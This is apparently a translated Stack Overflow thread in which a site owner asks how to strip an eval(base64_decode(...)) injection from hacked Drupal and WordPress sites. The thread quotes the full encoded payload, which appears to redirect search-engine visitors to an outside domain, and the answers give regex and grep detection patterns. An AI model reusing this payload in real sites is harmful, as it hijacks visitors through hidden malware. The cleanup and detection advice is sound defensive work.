模式以查找以eval开头的恶意代码(base64_decode

时间:2012-02-06 14:04:48

标签: wordpress drupal notepad++ batch-processing

我的服务器上出现了问题,在我的所有Drupal和Wordpress网站中插入了以下PHP。

我已经下载了我的网站的完整备份,并且会在更改我的ftp详细信息并重新上载之前清除它们。希望这应该清楚。

我的问题是:

使用Notepad ++是否有*.*样式搜索条件我可以用来扫描我的备份文件并删除恶意代码行,而无需在本地计算机上单独执行这些操作?

这显然可以节省我的时间。到目前为止,我一直用 blank 替换以下代码,但每个网站上的eval代码各不相同。

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

3 个答案:

答案 0 :(得分:3)

我会立即更改您的FTP详细信息。如果他们能够计算出密码,你不希望他们托管warez。

然后关闭您的网站,以免您的访问者遭受任何脚本或劫持。

就搜索而言,像这样的正则表达式应该排除它:

eval\(base64_decode\("[\d\w]+"\)\);

答案 1 :(得分:1)

我的WordPress博客eval base64_decode hack也遇到了同样的问题。 php文件正在注入这些eval行。我建议您重新安装wordpress / drupal,因为您的网站中可能已经存在其他一些脚本,然后更改所有密码。

尝试通过ssh运行grep,例如。 grep -r -H "eval base64_decode"。它会告诉你哪些文件被感染了。然后,如果您有时间,请自动执行该过程,以便在再次发生时通知您。

将来,请务必更新WordPress / Drupal。

答案 2 :(得分:0)

如果您可以使用特殊工具删除此恶意代码,则会更容易,因为找到匹配所有代码的实际正则表达式并且您永远不知道这是否有效或者您是否破坏了您的网站可能会非常棘手。特别是当您有多个文件时,您应该通过以下命令识别可疑文件:

grep -R eval.*base64_decode  .
grep -R return.*base64_decode  .

但这可能还不够,所以你应该考虑使用这些PHP security scanner

有关详情,请查看:How to get rid of eval-base64_decode like PHP virus files?

对于Drupal,请检查:How to remove malicious scripts from admin pages after being hacked?